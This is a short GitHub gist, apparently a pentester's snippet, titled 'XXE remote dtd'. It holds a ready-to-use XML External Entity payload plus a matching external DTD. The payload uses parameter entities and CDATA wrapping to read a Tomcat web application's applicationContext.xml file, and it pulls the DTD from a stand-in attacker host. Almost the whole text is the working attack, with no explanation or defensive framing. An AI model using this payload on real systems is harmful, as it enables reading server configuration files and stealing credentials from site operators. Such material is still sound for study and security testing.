Skip to content

Instantly share code, notes, and snippets.

@staaldraad
Created July 7, 2014 18:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save staaldraad/55408075f53c1d7b7dc8 to your computer and use it in GitHub Desktop.
Save staaldraad/55408075f53c1d7b7dc8 to your computer and use it in GitHub Desktop.
XXE remote dtd
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
External dtd:
<!ENTITY all "%start;%stuff;%end;">
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment